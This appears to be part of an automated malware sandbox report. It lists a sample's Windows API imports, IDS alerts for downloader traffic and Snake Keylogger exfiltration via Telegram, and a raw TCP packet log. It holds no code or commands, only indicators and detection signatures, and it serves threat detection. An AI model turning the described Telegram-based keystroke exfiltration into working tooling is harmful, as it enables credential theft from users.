RT_MANIFEST	0x5dea0	0x33f	XML 1.0 document, ASCII text, with very long lines (831), with no line terminators	English	United States	0.5547533092659447

Imports

DLL	Import
KERNEL32.dll	SetCurrentDirectoryW, GetFileAttributesW, GetFullPathNameW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, MoveFileW, SetFileAttributesW, GetCurrentProcess, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, CompareFileTime, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, lstrcpyW, MoveFileExW, lstrcatW, GetSystemDirectoryW, LoadLibraryW, GetProcAddress, GetModuleHandleA, ExpandEnvironmentStringsW, GetShortPathNameW, SearchPathW, lstrcmpiW, SetFileTime, CloseHandle, GlobalFree, lstrcmpW, GlobalAlloc, WaitForSingleObject, GlobalUnlock, GetDiskFreeSpaceW, GetExitCodeProcess, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, lstrlenA, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, IsWindowEnabled, EnableMenuItem, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, wsprintfW, ScreenToClient, GetWindowRect, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, GetDC, SetWindowTextW, PostQuitMessage, ShowWindow, GetDlgItem, IsWindow, LoadImageW, SetWindowLongW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, SetTimer, FindWindowExW, SendMessageTimeoutW, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegDeleteKeyW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegOpenKeyExW, RegEnumValueW, RegDeleteValueW, RegCloseKey, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:20:01.715417+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49709	142.250.185.142	443	TCP
2025-01-11T07:20:15.627680+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49711	132.226.247.73	80	TCP
2025-01-11T07:20:25.191376+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49711	132.226.247.73	80	TCP
2025-01-11T07:20:27.737418+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49711	132.226.247.73	80	TCP
2025-01-11T07:20:28.407804+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49713	149.154.167.220	443	TCP
2025-01-11T07:20:28.673274+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49713	149.154.167.220	443	TCP
2025-01-11T07:20:31.424576+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49714	132.226.247.73	80	TCP
2025-01-11T07:20:32.009754+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49715	149.154.167.220	443	TCP
2025-01-11T07:20:32.352743+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49715	149.154.167.220	443	TCP
2025-01-11T07:20:33.112153+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49716	132.226.247.73	80	TCP
2025-01-11T07:20:33.688144+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49717	149.154.167.220	443	TCP
2025-01-11T07:20:33.907815+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49717	149.154.167.220	443	TCP
2025-01-11T07:20:36.194186+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49719	149.154.167.220	443	TCP
2025-01-11T07:20:36.397639+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49719	149.154.167.220	443	TCP
2025-01-11T07:20:37.707556+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49721	149.154.167.220	443	TCP
2025-01-11T07:20:37.992261+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49721	149.154.167.220	443	TCP
2025-01-11T07:20:39.294053+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49723	149.154.167.220	443	TCP
2025-01-11T07:20:39.600046+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49723	149.154.167.220	443	TCP
2025-01-11T07:20:40.942200+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49725	149.154.167.220	443	TCP
2025-01-11T07:20:41.250577+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49725	149.154.167.220	443	TCP
2025-01-11T07:20:45.052385+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49727	149.154.167.220	443	TCP
2025-01-11T07:20:45.361029+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49727	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:20:00.644867897 CET	49709	443	192.168.2.9	142.250.185.142
Jan 11, 2025 07:20:00.644916058 CET	443	49709	142.250.185.142	192.168.2.9
Jan 11, 2025 07:20:00.645010948 CET	49709	443	192.168.2.9	142.250.185.142
Jan 11, 2025 07:20:00.664413929 CET	49709	443	192.168.2.9	142.250.185.142
Jan 11, 2025 07:20:00.664437056 CET	443	49709	142.250.185.142	192.168.2.9
Jan 11, 2025 07:20:01.321892023 CET	443	49709	142.250.185.142	192.168.2.9
Jan 11, 2025 07:20:01.322035074 CET	49709	443	192.168.2.9	142.250.185.142
Jan 11, 2025 07:20:01.322660923 CET	443	49709	142.250.185.142	192.168.2.9
Jan 11, 2025 07:20:01.322725058 CET	49709	443	192.168.2.9	142.250.185.142
Jan 11, 2025 07:20:01.386884928 CET	49709	443	192.168.2.9	142.250.185.142
Jan 11, 2025 07:20:01.386909008 CET	443	49709	142.250.185.142	192.168.2.9
Jan 11, 2025 07:20:01.387278080 CET	443	49709	142.250.185.142	192.168.2.9
Jan 11, 2025 07:20:01.387341022 CET	49709	443	192.168.2.9	142.250.185.142
Jan 11, 2025 07:20:01.391113997 CET	49709	443	192.168.2.9	142.250.185.142
Jan 11, 2025 07:20:01.431333065 CET	443	49709	142.250.185.142	192.168.2.9
Jan 11, 2025 07:20:01.715389967 CET	443	49709	142.250.185.142	192.168.2.9
Jan 11, 2025 07:20:01.715508938 CET	49709	443	192.168.2.9	142.250.185.142
Jan 11, 2025 07:20:01.715658903 CET	49709	443	192.168.2.9	142.250.185.142
Jan 11, 2025 07:20:01.715708017 CET	443	49709	142.250.185.142	192.168.2.9
Jan 11, 2025 07:20:01.715760946 CET	49709	443	192.168.2.9	142.250.185.142
Jan 11, 2025 07:20:01.740014076 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:01.740055084 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:01.740115881 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:01.740406036 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:01.740420103 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:02.374368906 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:02.374481916 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:02.385899067 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:02.385927916 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:02.386238098 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:02.386339903 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:02.387334108 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:02.431325912 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.607770920 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.607928038 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.613617897 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.613706112 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.626230955 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.626329899 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.626343012 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.626539946 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.632528067 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.632603884 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.694413900 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.694500923 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.694585085 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.694586039 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.694602013 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.694649935 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.697164059 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.697227955 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.697236061 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.697278976 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.703329086 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.703542948 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.703551054 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.703598976 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.709570885 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.709630013 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.709711075 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.709759951 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.715919971 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.716010094 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.716017962 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.716064930 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.722275019 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.722362995 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.722372055 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.722414970 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.728450060 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.728522062 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.728529930 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.728569984 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.734776020 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.734843969 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.734852076 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.735013008 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.740592003 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.740660906 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.740670919 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.740711927 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.746479034 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.746560097 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.746568918 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.746607065 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.752114058 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.752227068 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.752235889 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.752289057 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.758049965 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.758099079 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.761949062 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.762067080 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.763751984 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.763803005 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.781028032 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.781084061 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.781090021 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.781100988 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.781121969 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.781152964 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.781162024 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.781202078 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.781333923 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.781383038 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.783286095 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.783339024 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.783919096 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.784068108 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.789113998 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.789154053 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.789180994 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.789191961 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.789205074 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.789371967 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.794557095 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.794620991 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.794630051 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.794675112 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.800002098 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.800055027 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.800111055 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.800153017 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.805072069 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.805121899 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.805129051 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.805170059 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.809919119 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.809971094 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.810090065 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.810136080 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.814766884 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.814810038 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.814815998 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.815337896 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.819322109 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.819379091 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.819386959 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.819432974 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.823985100 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.824033022 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.824040890 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.824119091 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.828610897 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.828661919 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.828676939 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.828722000 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.833250046 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.833311081 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.833326101 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.833360910 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.837876081 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.837984085 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.837995052 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.838041067 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.842390060 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.842437983 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.842446089 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.842556000 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.846592903 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.846641064 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.846647024 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.846690893 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.846695900 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.846740007 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.846745014 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.846776009 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:04.846785069 CET	443	49710	216.58.206.65	192.168.2.9
Jan 11, 2025 07:20:04.846797943 CET	49710	443	192.168.2.9	216.58.206.65
Jan 11, 2025 07:20:05.215642929 CET	49711	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:05.220483065 CET	80	49711	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:05.220668077 CET	49711	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:05.220906019 CET	49711	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:05.226366043 CET	80	49711	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:13.844959021 CET	80	49711	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:13.853431940 CET	49711	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:13.858185053 CET	80	49711	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:15.587677002 CET	80	49711	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:15.627680063 CET	49711	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:15.867816925 CET	49712	443	192.168.2.9	104.21.32.1
Jan 11, 2025 07:20:15.867852926 CET	443	49712	104.21.32.1	192.168.2.9
Jan 11, 2025 07:20:15.867933989 CET	49712	443	192.168.2.9	104.21.32.1
Jan 11, 2025 07:20:15.870136023 CET	49712	443	192.168.2.9	104.21.32.1
Jan 11, 2025 07:20:15.870145082 CET	443	49712	104.21.32.1	192.168.2.9
Jan 11, 2025 07:20:16.338881969 CET	443	49712	104.21.32.1	192.168.2.9
Jan 11, 2025 07:20:16.339071989 CET	49712	443	192.168.2.9	104.21.32.1
Jan 11, 2025 07:20:16.354717970 CET	49712	443	192.168.2.9	104.21.32.1
Jan 11, 2025 07:20:16.354739904 CET	443	49712	104.21.32.1	192.168.2.9
Jan 11, 2025 07:20:16.355103970 CET	443	49712	104.21.32.1	192.168.2.9
Jan 11, 2025 07:20:16.361531973 CET	49712	443	192.168.2.9	104.21.32.1
Jan 11, 2025 07:20:16.403327942 CET	443	49712	104.21.32.1	192.168.2.9
Jan 11, 2025 07:20:16.485600948 CET	443	49712	104.21.32.1	192.168.2.9
Jan 11, 2025 07:20:16.485662937 CET	443	49712	104.21.32.1	192.168.2.9
Jan 11, 2025 07:20:16.485873938 CET	49712	443	192.168.2.9	104.21.32.1
Jan 11, 2025 07:20:16.494637012 CET	49712	443	192.168.2.9	104.21.32.1
Jan 11, 2025 07:20:21.929239988 CET	49711	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:21.934555054 CET	80	49711	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:25.141398907 CET	80	49711	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:25.191375971 CET	49711	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:25.479232073 CET	49711	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:25.484153032 CET	80	49711	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:27.692233086 CET	80	49711	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:27.707034111 CET	49713	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:27.707091093 CET	443	49713	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:27.707187891 CET	49713	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:27.707942009 CET	49713	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:27.707961082 CET	443	49713	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:27.737417936 CET	49711	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:28.346062899 CET	443	49713	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:28.346221924 CET	49713	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:28.349812984 CET	49713	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:28.349832058 CET	443	49713	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:28.350255013 CET	443	49713	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:28.351695061 CET	49713	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:28.395332098 CET	443	49713	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:28.407731056 CET	49713	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:28.407741070 CET	443	49713	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:28.673314095 CET	443	49713	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:28.673391104 CET	443	49713	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:28.673430920 CET	49713	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:28.682600975 CET	49713	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:28.693171024 CET	49711	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:28.694212914 CET	49714	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:28.698251963 CET	80	49711	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:28.698340893 CET	49711	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:28.698987007 CET	80	49714	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:28.699173927 CET	49714	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:28.699321032 CET	49714	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:28.704082966 CET	80	49714	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:31.370702028 CET	80	49714	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:31.386373997 CET	49715	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:31.386440039 CET	443	49715	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:31.386534929 CET	49715	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:31.386796951 CET	49715	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:31.386816978 CET	443	49715	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:31.424576044 CET	49714	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:32.007700920 CET	443	49715	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:32.009510994 CET	49715	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:32.009543896 CET	443	49715	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:32.009614944 CET	49715	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:32.009625912 CET	443	49715	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:32.352765083 CET	443	49715	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:32.352852106 CET	443	49715	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:32.352933884 CET	49715	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:32.353368998 CET	49715	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:32.356585979 CET	49714	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:32.357898951 CET	49716	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:32.361607075 CET	80	49714	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:32.361685991 CET	49714	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:32.362776041 CET	80	49716	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:32.362852097 CET	49716	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:32.362955093 CET	49716	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:32.367775917 CET	80	49716	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:33.056241989 CET	80	49716	132.226.247.73	192.168.2.9
Jan 11, 2025 07:20:33.057487965 CET	49717	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:33.057537079 CET	443	49717	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:33.057607889 CET	49717	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:33.057874918 CET	49717	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:33.057888031 CET	443	49717	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:33.112153053 CET	49716	80	192.168.2.9	132.226.247.73
Jan 11, 2025 07:20:33.685622931 CET	443	49717	149.154.167.220	192.168.2.9
Jan 11, 2025 07:20:33.687922955 CET	49717	443	192.168.2.9	149.154.167.220
Jan 11, 2025 07:20:33.687952995 CET	443	49717	149.154.167.220	192.168.2.9
